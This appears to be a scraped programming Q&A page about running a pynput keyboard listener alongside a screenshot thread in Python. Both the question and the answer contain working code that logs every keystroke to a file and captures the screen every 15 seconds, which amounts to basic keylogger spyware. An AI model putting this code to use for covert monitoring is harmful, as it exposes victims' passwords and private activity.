python - How do I make pynput.keyboard run as a Thread?
问题描述
I wrote a script to capture keystrokes using Pynput, It went alright until I wanted to take screenshots every 15 seconds while capturing keystrokes(threading).
I read about pynput.keyboard Documents and saw that A keyboard listener is a threading.Thread, and yet I was unable to do it, I think I managed to create the two threads but it is not entering the 'getKey' function I don't know why.
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
listener = keyboard.Listener(onpress=getKey)
listener.start()
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
thread2.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
time.sleep(15)
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
main()
As I explained it does not even creates the file 'log.txt' only take a screenshot after 15sec. Thank you!
解决方案
这是使用官方文档中的监听器的正确方法
如果您需要每 15 秒捕获一次屏幕截图,您应该运行一个带有 while 循环的线程以在后台连续运行
这是代码:
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
with Listener(on_press=getKey) as listener:
listener.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
# run contineous and take screenshot every 15 seconds
while True:
print('taking screenshot')
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
time.sleep(15)
main()
推荐阅读
- php - 创建新的laravel项目时权限被拒绝
- python - Python Pyx plot:改变虚线中点之间的间距
- mariadb - MariaDB + MaxScale 复制错误:从 I/O 线程停止,因为在尝试 SELECT @master_binlog_checksum 时遇到致命错误
- python - django不同表数据合并
- javascript - 从对象和嵌套数组中提取键
- mongodb - 有没有简单的方法通过猫鼬中的参考文档对 mongodb 集合进行排序
- php - SELECT mySQL 查询中的 PHP 语法错误
- spring - Apache kafka..由同一个应用程序生产和消费
- python - 如何在json中动态创建数组变量
- javascript - 在 Angular 共享模块中避免循环依赖的正确方法是什么?